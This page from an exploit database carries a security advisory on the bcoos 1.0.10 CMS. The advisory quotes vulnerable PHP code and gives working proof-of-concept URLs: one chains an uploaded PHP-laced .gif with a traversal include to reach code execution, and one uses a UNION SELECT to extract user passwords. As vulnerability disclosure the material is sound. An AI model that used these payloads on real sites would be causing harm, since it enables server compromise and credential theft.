0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
bcoos 1.0.10 (LFI / SQL Injection) Multiple Remote Vulnerabilities
[==================================================================
bcoos 1.0.10 (LFI / SQL Injection) Multiple Remote Vulnerabilities
==================================================================
######################################################################################
#
# AmnPardaz Security Research & Penetration Testing Group
#
# Title: Bcoos Multiple Vulnerabilities
# Vendor: http://www.bcoos.net/
# Bugs: Local File Inclusion, Sql Injection
# Vulnerable Version: bcoos 1.0.10 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
#######################################################################################
#
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Alireza Hasani ,Amir Hossein Khonakdar, Hamid Farhadi
# Country: Iran
######################## Bug Description ###########################
Description:
--------------------
Bcoos is a CMS coming from the cores of E-Xoops.
Vulnerabilities:
--------------------
+-->Local File Inclusion (Remote Code Execution)
Code Snippet:
/include/common.php line#89-98
// ################# :: Register Globals Compatibility :: #################
$globals_test = @ini_get('register_globals');
if ( isset($globals_test) && empty($globals_test) ) {
// These still need some work :: Cookie|Server|Env are ok now.
if ( !empty($_GET) ) { extract($_GET, EXTR_SKIP); }
if ( !empty($_POST) ) { extract($_POST, EXTR_OVERWRITE); }
define('_GLOBALS', FALSE);
} else {
define('_GLOBALS', TRUE);
}
/include/common.php line#124-129
// ################ Include page-specific lang file ################
if ( isset($xoopsOption['pagetype']) ) {
if ( @file_exists(XOOPS_ROOT_PATH.'/language/'.$bcoosConfig['language'].'/'.$xoopsOption['pagetype'].'.php') ) {
include_once(XOOPS_ROOT_PATH.'/language/'.$bcoosConfig['language'].'/'.$xoopsOption['pagetype'].'.php');
} else {
include_once(XOOPS_ROOT_PATH.'/language/english/'.$xoopsOption['pagetype'].'.php');
$xoopsOption['pagetype'] is not defined by default, so it's possible for an attacker to define
it by both $_GET or $_POST methods to conduct Local file inclusion!
Furthermore bcoos doesn't properly validate the content of user supplied Uploads!
Attacker could upload php codes with .gif extension and include it using above vulnerability!
POC: http://localhost/bcoos/modules/news/?xoopsOption[pagetype]=../../images/avatar/users/[uid].gif%00
+-->Banner Module Sql Injection
Bcoos doesn't properly validate the user supplied Input in click.php that may result in Sql injection if banners modules is installed by Site admin!
Code Snippet:
/modules/banners/click.php line#4-6
if ($_GET['bid']) {
$bid = $_GET['bid'];
$result = $db->query("SELECT clickurl FROM ".$db->prefix("banner_items")." WHERE bid=$bid");
POC: http://localhost/bcoos/modules/banners/click.php?bid=-1 UNION SELECT pass FROM bcoos_users LIMIT 1
Credit:
--------------------
Discovered by trueend5 (trueend5 yahoo com)
AmnPardaz Security Research & Penetration Testing Group
# 0day.today [2024-11-15] #